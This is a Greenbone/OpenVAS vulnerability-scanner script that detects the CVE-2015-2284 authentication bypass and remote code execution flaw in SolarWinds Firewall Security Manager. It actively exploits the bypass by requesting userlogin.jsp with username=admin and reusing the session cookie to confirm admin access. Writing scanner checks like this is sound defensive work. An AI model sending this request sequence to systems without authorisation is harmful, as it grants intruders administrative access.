Solarwinds FSM RCE Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = 'cpe:/a:solarwinds:firewall_security_manager';

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106014");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2015-06-30 10:54:34 +0700 (Tue, 30 Jun 2015)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_cve_id("CVE-2015-2284");

  script_name("Solarwinds FSM RCE Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_solarwinds_fsm_detect.nasl");
  script_mandatory_keys("solarwinds_fsm/installed");

  script_tag(name:"summary", value:"Solarwinds Firewall Security Manager is prone to a remote code
  execution (RCE) vulnerability");

  script_tag(name:"vuldetect", value:"Send a special crafted HTTP GET request and check the response.");

  script_tag(name:"insight", value:"There are two vulnerabilities in Solarwinds FSM. The first one
is an authentication bypass via the Change Advisor interface due to a user-controlled session.putValue
API in userlogin.jsp, allowing the attacker to set the 'username' attribute before authentication. The
second problem is that the settings-new.jsp file will only check the 'username' attribute before
authorizing the 'uploadFile' action, which can be exploited and allows the attacker to upload a fake
xls host list file to the server, and results in arbitrary code execution under the context of SYSTEM.");

  script_tag(name:"impact", value:"An unauthenticated attacker can obtain upload a fake xls host file
to the server resulting in an arbitrary code execution under the context of SYSTEM.");

  script_tag(name:"affected", value:"Solarwinds FSM 6.6.5 and previous versions.");

  script_tag(name:"solution", value:"Apply the HotFix or upgrade to a later version.");

  script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-15-107/");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

url = dir + '/userlogin.jsp?username=admin';

req = http_get(item: url, port: port);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);
useragent = http_get_user_agent();

# Authentication bypass
if (res =~ "HTTP/1\.. 200" && res =~ "Set-Cookie: JSESSIONID=" && res =~ "Authentication Not implemented yet") {
  sessionid = eregmatch(pattern: "JSESSIONID=([0-9a-zA-Z]+);", string: res);
  if (!sessionid[1])
    exit(0);

  url = dir + '/requesthome.jsp';
  req = 'GET ' + url + ' HTTP/1.1\r\n' +
        'Host: ' + http_host_name(port: port) + '\r\n' +
        'User-Agent: ' + useragent + '\r\n' +
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +
        'Cookie: ' + sessionid[0] + '\r\n\r\n';
  res = http_keepalive_send_recv(port: port, data: req);

  if (res =~ "Logged in as: admin") {
    security_message(port: port);
    exit(0);
  }
}

exit(99);